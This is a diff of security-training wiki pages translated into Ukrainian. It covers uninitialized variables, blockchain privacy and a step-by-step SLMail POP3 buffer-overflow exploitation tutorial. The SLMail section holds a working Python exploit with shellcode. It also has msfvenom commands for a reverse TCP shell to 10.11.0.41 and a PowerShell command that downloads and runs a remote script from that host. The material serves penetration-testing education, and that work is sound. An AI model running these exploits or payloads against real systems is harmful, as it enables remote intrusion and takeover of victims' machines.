Єдине "складне", що потрібно знайти тут, - це адреса в стеку для виклику. У моєму випадку я згенерував експлойт з адресою, знайденою за допомогою gdb, але потім, коли я намагався його використати, це не спрацювало (тому що адреса в стеці трохи змінилася).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
Я відкрив згенерований **`core` файл** (`gdb ./bog ./core`) і перевірив реальну адресу початку shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# Невизначені Змінні
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна Інформація
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
Основна ідея полягає в тому, щоб зрозуміти, що відбувається з **невизначеними змінними, оскільки вони матимуть значення, яке вже було в пам'яті, призначеній їм.** Приклад:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Функція 1: `initializeVariable`**: Ми оголошуємо змінну `x` і присвоюємо їй значення, скажімо, `0x1234`. Ця дія подібна до резервування місця в пам'яті та вставлення в нього конкретного значення.
- **Функція 2: `useUninitializedVariable`**: Тут ми оголошуємо іншу змінну `y`, але не присвоюємо їй жодного значення. У C невизначені змінні не автоматично встановлюються в нуль. Натомість вони зберігають те, яке значення було останнім, збереженим за їх адресою в пам'яті.
When we run these two functions **sequentially**:
Коли ми запускаємо ці дві функції **послідовно**:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. У `initializeVariable` змінній `x` присвоюється значення (`0x1234`), яке займає конкретну адресу в пам'яті.
2. У `useUninitializedVariable` змінна `y` оголошується, але їй не присвоюється значення, тому вона займає місце в пам'яті відразу після `x`. Через те, що `y` не ініціалізована, вона в кінцевому підсумку "успадковує" значення з тієї ж адреси пам'яті, що й `x`, оскільки це останнє значення, яке там було.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Ця поведінка ілюструє ключове поняття в низькорівневому програмуванні: **Управління пам'яттю є критично важливим**, і невизначені змінні можуть призвести до непередбачуваної поведінки або вразливостей безпеки, оскільки вони можуть ненавмисно містити чутливі дані, залишені в пам'яті.
Uninitialized stack variables could pose several security risks like:
Невизначені стекові змінні можуть становити кілька ризиків безпеки, таких як:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **Витік Даних**: Чутлива інформація, така як паролі, ключі шифрування або особисті дані, може бути розкрита, якщо зберігається в невизначених змінних, що дозволяє зловмисникам потенційно читати ці дані.
- **Розкриття Інформації**: Вміст невизначених змінних може розкрити деталі про структуру пам'яті програми або внутрішні операції, що допомагає зловмисникам розробляти цілеспрямовані експлойти.
- **Збої та Нестабільність**: Операції, що стосуються невизначених змінних, можуть призвести до невизначеної поведінки, що викликає збої програми або непередбачувані результати.
- **Виконання Довільного Коду**: У певних сценаріях зловмисники можуть експлуатувати ці вразливості, щоб змінити потік виконання програми, що дозволяє їм виконувати довільний код, що може включати загрози віддаленого виконання коду.
### Приклад
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Як це працює:
#### How This Works:
- **`initializeAndPrint` Функція**: Ця функція оголошує цілу змінну `initializedVar`, присвоює їй значення `100`, а потім виводить як адресу пам'яті, так і значення змінної. Цей крок є простим і демонструє, як поводиться ініціалізована змінна.
- **`demonstrateUninitializedVar` Функція**: У цій функції ми оголошуємо цілу змінну `uninitializedVar` без її ініціалізації. Коли ми намагаємося вивести її значення, вихід може показати випадкове число. Це число представляє будь-які дані, які раніше знаходилися за цією адресою пам'яті. Залежно від середовища та компілятора, фактичний вихід може варіюватися, і іноді, для безпеки, деякі компілятори можуть автоматично ініціалізувати змінні до нуля, хоча на це не слід покладатися.
- **`main` Функція**: Функція `main` викликає обидві вищезгадані функції послідовно, демонструючи контраст між ініціалізованою змінною та неініціалізованою.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 Приклад
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Це зовсім не змінюється в ARM64, оскільки локальні змінні також управляються в стеку, ви можете [**перевірити цей приклад**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/), де це показано.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **Почніть встановлення служби SLMail**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## Перезапустіть службу SLMail
Кожного разу, коли вам потрібно **перезапустити службу SLMail**, ви можете зробити це, використовуючи консоль Windows:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Дуже базовий шаблон експлойту на python
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Змінити шрифт Immunity Debugger**
## **Change Immunity Debugger Font**
Перейдіть до `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Прикріпити процес до Immunity Debugger:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**І натисніть кнопку START**
## **Send the exploit and check if EIP is affected:**
## **Відправте експлойт і перевірте, чи вплинув EIP:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Кожного разу, коли ви перериваєте службу, вам слід перезапустити її, як зазначено на початку цієї сторінки.
## Create a pattern to modify the EIP
## Створіть шаблон для зміни EIP
The pattern should be as big as the buffer you used to broke the service previously.
Шаблон повинен бути таким же великим, як буфер, який ви використовували для зламу служби раніше.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Змініть буфер експлойту, встановіть шаблон і запустіть експлойт.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
Повинен з'явитися новий збій, але з іншим адресою EIP:
![](<../images/image (636).png>)
Check if the address was in your pattern:
Перевірте, чи була адреса у вашому шаблоні:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Схоже, що **ми можемо змінити EIP на зсуві 2606** буфера.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Перевірте це, змінюючи буфер експлойту:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
З цим буфером EIP, який зламався, повинен вказувати на 42424242 ("BBBB")
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
Схоже, що це працює.
## Check for Shellcode space inside the stack
## Перевірка наявності місця для Shellcode в стеку
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B повинно бути достатньо для будь-якого потужного shellcode.
Давайте змінимо буфер:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
запустіть новий експлойт і перевірте EBP та довжину корисного шеллкоду
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Ви можете побачити, що коли вразливість досягається, EBP вказує на шеллкод, і у нас є багато місця для розміщення шеллкоду тут.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
У цьому випадку ми маємо **від 0x0209A128 до 0x0209A2D6 = 430B.** Досить.
## Check for bad chars
Change again the buffer:
## Перевірка на погані символи
Знову змініть буфер:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Погані символи починаються з 0x01, оскільки 0x00 майже завжди є поганим.
The badchars starts in 0x01 because 0x00 is almost always bad.
Виконуйте експлойт повторно з цим новим буфером, видаляючи символи, які виявилися непотрібними:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Наприклад:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
У цьому випадку ви можете побачити, що **не слід використовувати символ 0x0A** (нічого не зберігається в пам'яті, оскільки символ 0x09).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
У цьому випадку ви можете побачити, що **символ 0x0D уникається**:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Знайдіть JMP ESP як адресу повернення
Використовуючи:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
You will **list the memory maps**. Search for some DLl that has:
Ви **перелічите карти пам'яті**. Шукайте деякі DLL, які мають:
- **Rebase: False**
- **SafeSEH: False**
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Тепер, всередині цієї пам'яті ви повинні знайти деякі байти JMP ESP, для цього виконайте:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Тоді, якщо знайдена якась адреса, виберіть ту, яка не містить жодного badchar:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**У цьому випадку, наприклад: \_0x5f4a358f**\_
## Створити shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Якщо експлойт не працює, але повинен (ви можете побачити з ImDebg, що shellcode досягається), спробуйте створити інші shellcode (msfvenom з різними shellcode для тих самих параметрів).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Додайте кілька NOPS на початку** shellcode і використовуйте його разом з адресою повернення для JMP ESP, і завершіть експлойт:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Є shellcode, які **перезаписують самі себе**, тому важливо завжди додавати кілька NOP перед shellcode
## Improving the shellcode
Add this parameters:
## Покращення shellcode
Додайте ці параметри:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Основні Концепції
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Смарт-контракти** визначаються як програми, які виконуються на блокчейні, коли виконуються певні умови, автоматизуючи виконання угод без посередників.
- **Децентралізовані додатки (dApps)** базуються на смарт-контрактах, маючи зручний інтерфейс для користувачів та прозорий, підлягаючий аудиту бекенд.
- **Токени та Монети** відрізняються тим, що монети слугують цифровими грошима, тоді як токени представляють цінність або власність у певних контекстах.
- **Утиліті токени** надають доступ до послуг, а **секюріті токени** позначають власність на активи.
- **DeFi** означає децентралізовані фінанси, що пропонують фінансові послуги без центральних органів.
- **DEX** та **DAO** відносяться до децентралізованих біржових платформ та децентралізованих автономних організацій відповідно.
## Consensus Mechanisms
## Механізми Консенсусу
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій на блокчейні:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** покладається на обчислювальну потужність для верифікації транзакцій.
- **Proof of Stake (PoS)** вимагає, щоб валідатори тримали певну кількість токенів, зменшуючи споживання енергії в порівнянні з PoW.
## Bitcoin Essentials
## Основи Bitcoin
### Transactions
### Транзакції
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Транзакції Bitcoin включають передачу коштів між адресами. Транзакції верифікуються за допомогою цифрових підписів, що забезпечує, що лише власник приватного ключа може ініціювати перекази.
#### Key Components:
#### Ключові Компоненти:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Мультипідписні транзакції** вимагають кілька підписів для авторизації транзакції.
- Транзакції складаються з **входів** (джерело коштів), **виходів** (призначення), **комісій** (сплачених майнерам) та **скриптів** (правил транзакції).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Спрямована на покращення масштабованості Bitcoin, дозволяючи кілька транзакцій в межах каналу, лише транслюючи фінальний стан на блокчейн.
## Bitcoin Privacy Concerns
## Проблеми Приватності Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Атаки на приватність, такі як **Припущення спільної власності на входи** та **Виявлення адреси зміни UTXO**, експлуатують шаблони транзакцій. Стратегії, такі як **Міксери** та **CoinJoin**, покращують анонімність, приховуючи зв'язки транзакцій між користувачами.
## Acquiring Bitcoins Anonymously
## Отримання Bitcoin Анонімно
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Методи включають грошові угоди, майнінг та використання міксерів. **CoinJoin** змішує кілька транзакцій, ускладнюючи відстеження, тоді як **PayJoin** маскує CoinJoins як звичайні транзакції для підвищення приватності.
# Bitcoin Privacy Atacks
# Атаки на Приватність Bitcoin
# Summary of Bitcoin Privacy Attacks
# Резюме Атак на Приватність Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
У світі Bitcoin приватність транзакцій та анонімність користувачів часто викликають занепокоєння. Ось спрощений огляд кількох поширених методів, за допомогою яких зловмисники можуть скомпрометувати приватність Bitcoin.
## **Common Input Ownership Assumption**
## **Припущення спільної власності на входи**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Зазвичай рідко, щоб входи від різних користувачів об'єднувалися в одній транзакції через пов'язані складнощі. Таким чином, **дві адреси входів в одній транзакції часто вважаються належними одному власнику**.
## **UTXO Change Address Detection**
## **Виявлення адреси зміни UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, або **Невитрачений вихід транзакції**, повинен бути повністю витрачений у транзакції. Якщо лише частина з нього надсилається на іншу адресу, решта йде на нову адресу зміни. Спостерігачі можуть припустити, що ця нова адреса належить відправнику, що компрометує приватність.
### Example
### Приклад
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Щоб зменшити це, міксингові сервіси або використання кількох адрес можуть допомогти приховати власність.
## **Social Networks & Forums Exposure**
## **Витік через Соціальні Мережі та Форуми**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Користувачі іноді діляться своїми адресами Bitcoin в Інтернеті, що робить **легким зв'язок адреси з її власником**.
## **Transaction Graph Analysis**
## **Аналіз Графа Транзакцій**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Транзакції можна візуалізувати як графи, що виявляють потенційні зв'язки між користувачами на основі потоку коштів.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Гіпотеза Непотрібного Входу (Оптимальна Гіпотеза Зміни)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Ця гіпотеза базується на аналізі транзакцій з кількома входами та виходами, щоб вгадати, який вихід є зміною, що повертається до відправника.
### Приклад
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Якщо додавання більше вхідних даних робить вихідні дані більшими, ніж будь-який окремий вхід, це може заплутати евристичний аналіз.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Примусове повторне використання адреси**
## **Forced Address Reuse**
Зловмисники можуть надсилати невеликі суми на раніше використані адреси, сподіваючись, що отримувач об'єднає їх з іншими вхідними даними в майбутніх транзакціях, таким чином пов'язуючи адреси разом.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Правильна поведінка гаманця
### Correct Wallet Behavior
Гаманці повинні уникати використання монет, отриманих на вже використаних, порожніх адресах, щоб запобігти цьому витоку конфіденційності.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Інші техніки аналізу блокчейну**
## **Other Blockchain Analysis Techniques**
- **Точні суми платежів:** Транзакції без здачі, ймовірно, між двома адресами, що належать одному користувачу.
- **Круглі числа:** Кругле число в транзакції вказує на те, що це платіж, а не круглий вихід, ймовірно, є здачею.
- **Відбитки гаманців:** Різні гаманці мають унікальні шаблони створення транзакцій, що дозволяє аналітикам ідентифікувати використовуване програмне забезпечення та потенційно адресу здачі.
- **Кореляції суми та часу:** Розкриття часу або сум транзакцій може зробити транзакції відстежуваними.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Аналіз трафіку**
## **Traffic Analysis**
Моніторинг мережевого трафіку може дозволити зловмисникам потенційно пов'язати транзакції або блоки з IP-адресами, що компрометує конфіденційність користувачів. Це особливо вірно, якщо суб'єкт управляє багатьма вузлами Bitcoin, що підвищує їх здатність моніторити транзакції.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Більше
## More
Для отримання всебічного списку атак на конфіденційність і засобів захисту відвідайте [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Анонімні транзакції Bitcoin
# Anonymous Bitcoin Transactions
## Способи отримати біткоїни анонімно
## Ways to Get Bitcoins Anonymously
- **Готівкові транзакції**: Отримання біткоїнів через готівку.
- **Готівкові альтернативи**: Придбання подарункових карток і обмін їх онлайн на біткоїни.
- **Майнінг**: Найбільш приватний спосіб заробити біткоїни - це майнінг, особливо коли його виконують самостійно, оскільки майнінг-пули можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Крадіжка**: Теоретично, крадіжка біткоїнів може бути ще одним способом отримати їх анонімно, хоча це незаконно і не рекомендується.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Сервіси змішування
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Використовуючи сервіс змішування, користувач може **надіслати біткоїни** і отримати **інші біткоїни в обмін**, що ускладнює відстеження оригінального власника. Проте це вимагає довіри до сервісу, щоб він не зберігав журнали і дійсно повертав біткоїни. Альтернативні варіанти змішування включають казино Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** об'єднує кілька транзакцій від різних користувачів в одну, ускладнюючи процес для будь-кого, хто намагається зіставити вхідні дані з вихідними. Незважаючи на свою ефективність, транзакції з унікальними розмірами вхідних і вихідних даних все ще можуть бути відстежені.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Прикладом транзакцій, які могли використовувати CoinJoin, є `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` та `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Для отримання додаткової інформації відвідайте [CoinJoin](https://coinjoin.io/en). Для подібного сервісу на Ethereum ознайомтеся з [Tornado Cash](https://tornado.cash), який анонімізує транзакції з коштів від майнерів.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Варіант CoinJoin, **PayJoin** (або P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і торговцем) як звичайну транзакцію, без характерних рівних виходів, притаманних CoinJoin. Це робить її надзвичайно важкою для виявлення і може знецінити евристичний аналіз спільної власності вхідних даних, що використовується організаціями, які здійснюють моніторинг транзакцій.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність, залишаючись невідрізняними від стандартних біткойн-транзакцій.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, що робить його перспективним розвитком у прагненні до транзакційної конфіденційності.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Найкращі практики для конфіденційності в криптовалютах
# Best Practices for Privacy in Cryptocurrencies
## **Техніки синхронізації гаманців**
## **Wallet Synchronization Techniques**
Для підтримки конфіденційності та безпеки важливо синхронізувати гаманці з блокчейном. Виділяються два методи:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Повний вузол**: Завантажуючи весь блокчейн, повний вузол забезпечує максимальну конфіденційність. Усі транзакції, коли-небудь здійснені, зберігаються локально, що унеможливлює для супротивників ідентифікацію транзакцій або адрес, які цікавлять користувача.
- **Фільтрація блоків на стороні клієнта**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати відповідні транзакції без розкриття конкретних інтересів спостерігачам мережі. Легкі гаманці завантажують ці фільтри, отримуючи повні блоки лише тоді, коли знаходять відповідність з адресами користувача.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Використання Tor для анонімності**
## **Utilizing Tor for Anonymity**
Оскільки Bitcoin працює в мережі рівноправних учасників, рекомендується використовувати Tor для маскування вашої IP-адреси, підвищуючи конфіденційність під час взаємодії з мережею.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Запобігання повторному використанню адрес**
## **Preventing Address Reuse**
Для захисту конфіденційності важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати конфіденційність, пов'язуючи транзакції з однією і тією ж особою. Сучасні гаманці заохочують уникнення повторного використання адрес через свій дизайн.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Стратегії для конфіденційності транзакцій**
## **Strategies for Transaction Privacy**
- **Кілька транзакцій**: Розподіл платежу на кілька транзакцій може затемнити суму транзакції, ускладнюючи атаки на конфіденційність.
- **Уникнення здачі**: Вибір транзакцій, які не потребують здачі, підвищує конфіденційність, порушуючи методи виявлення здачі.
- **Кілька виходів здачі**: Якщо уникнути здачі неможливо, створення кількох виходів здачі все ще може покращити конфіденційність.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: маяк анонімності**
# **Monero: A Beacon of Anonymity**
Monero відповідає потребі в абсолютній анонімності в цифрових транзакціях, встановлюючи високий стандарт для конфіденційності.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: газ і транзакції**
# **Ethereum: Gas and Transactions**
## **Розуміння газу**
## **Understanding Gas**
